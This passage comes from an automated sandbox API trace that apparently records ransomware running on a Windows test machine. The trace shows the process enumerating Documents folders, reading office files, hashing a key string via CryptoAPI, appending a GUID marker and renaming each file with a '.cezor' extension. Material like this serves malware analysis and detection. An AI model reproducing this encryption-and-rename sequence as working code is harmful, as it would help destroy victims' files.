nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.385] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.385] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.385] CloseHandle (hObject=0x5c4) returned 1 [0061.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.386] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.386] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\70Jmk.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\70jmk.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\70Jmk.odp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\70jmk.odp.cezor")) returned 1 [0061.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.387] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.388] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f21c5c0, ftCreationTime.dwHighDateTime=0x1d4d2a9, ftLastAccessTime.dwLowDateTime=0x949fc7f0, ftLastAccessTime.dwHighDateTime=0x1d4d418, ftLastWriteTime.dwLowDateTime=0x949fc7f0, ftLastWriteTime.dwHighDateTime=0x1d4d418, nFileSizeHigh=0x0, nFileSizeLow=0xd9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="70Jmk.odp", cAlternateFileName="")) returned 0 [0061.388] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.388] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.388] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.388] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.389] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.389] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.390] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.390] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\") returned="Rpss_8PAcreSznq0jw9\\" [0061.390] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0061.391] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0061.391] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.391] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.391] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.391] PathFindFileNameW (pszPath="") returned="" [0061.391] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d14890, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x51ae4c70, ftLastAccessTime.dwHighDateTime=0x1d4c83b, ftLastWriteTime.dwLowDateTime=0x51ae4c70, ftLastWriteTime.dwHighDateTime=0x1d4c83b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.391] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0061.391] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18d14890, ftCreationTime.dwHighDateTime=0x1d4d320, ftLastAccessTime.dwLowDateTime=0x51ae4c70, ftLastAccessTime.dwHighDateTime=0x1d4c83b, ftLastWriteTime.dwLowDateTime=0x51ae4c70, ftLastWriteTime.dwHighDateTime=0x1d4c83b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.391] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x809d2d70, ftCreationTime.dwHighDateTime=0x1d4d16a, ftLastAccessTime.dwLowDateTime=0x6ec33d30, ftLastAccessTime.dwHighDateTime=0x1d4d2cb, ftLastWriteTime.dwLowDateTime=0x6ec33d30, ftLastWriteTime.dwHighDateTime=0x1d4d2cb, nFileSizeHigh=0x0, nFileSizeLow=0x1292a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F0eUqh0cOkUTa7DO.docx", cAlternateFileName="F0EUQH~1.DOC")) returned 1 [0061.391] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\F0eUqh0cOkUTa7DO.docx") returned=".docx" [0061.391] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\F0eUqh0cOkUTa7DO.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\f0euqh0cokuta7do.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.391] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=76074) returned 1 [0061.391] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.394] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.394] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.395] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1292a, lpOverlapped=0x0) returned 1 [0061.395] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.395] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.395] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.395] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.396] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.396] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.396] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.396] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.396] GetLastError () returned 0x0 [0061.396] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.396] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.396] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.397] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1292a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.397] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.397] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.397] CloseHandle (hObject=0x5c4) returned 1 [0061.398] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\F0eUqh0cOkUTa7DO.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\f0euqh0cokuta7do.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\F0eUqh0cOkUTa7DO.docx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\f0euqh0cokuta7do.docx.cezor")) returned 1 [0061.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.398] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.399] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad3993c0, ftCreationTime.dwHighDateTime=0x1d4d316, ftLastAccessTime.dwLowDateTime=0xe645b770, ftLastAccessTime.dwHighDateTime=0x1d4c740, ftLastWriteTime.dwLowDateTime=0xe645b770, ftLastWriteTime.dwHighDateTime=0x1d4c740, nFileSizeHigh=0x0, nFileSizeLow=0x14dfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FN--.ods", cAlternateFileName="")) returned 1 [0061.399] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\FN--.ods") returned=".ods" [0061.399] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\FN--.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\fn--.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.400] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=85501) returned 1 [0061.400] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.402] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14dd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.402] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.403] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x14dfd, lpOverlapped=0x0) returned 1 [0061.403] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.403] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.403] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.403] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.404] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.404] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.404] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.404] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.404] GetLastError () returned 0x0 [0061.404] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.404] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.404] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.405] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14dfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.405] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.405] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.405] CloseHandle (hObject=0x5c4) returned 1 [0061.409] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\FN--.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\fn--.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\FN--.ods.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\fn--.ods.cezor")) returned 1 [0061.410] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.410] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.411] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bcc7e10, ftCreationTime.dwHighDateTime=0x1d4d29a, ftLastAccessTime.dwLowDateTime=0x61256a10, ftLastAccessTime.dwHighDateTime=0x1d4cc57, ftLastWriteTime.dwLowDateTime=0x61256a10, ftLastWriteTime.dwHighDateTime=0x1d4cc57, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KevqRYRLai6W-uOAz", cAlternateFileName="KEVQRY~1")) returned 1 [0061.411] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7377d420, ftCreationTime.dwHighDateTime=0x1d4d024, ftLastAccessTime.dwLowDateTime=0x61e352e0, ftLastAccessTime.dwHighDateTime=0x1d4d45a, ftLastWriteTime.dwLowDateTime=0x61e352e0, ftLastWriteTime.dwHighDateTime=0x1d4d45a, nFileSizeHigh=0x0, nFileSizeLow=0xc045, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K_RwYW.odt", cAlternateFileName="")) returned 1 [0061.411] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\K_RwYW.odt") returned=".odt" [0061.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\K_RwYW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\k_rwyw.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.411] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=49221) returned 1 [0061.411] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.414] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc01f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.414] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.414] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xc045, lpOverlapped=0x0) returned 1 [0061.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 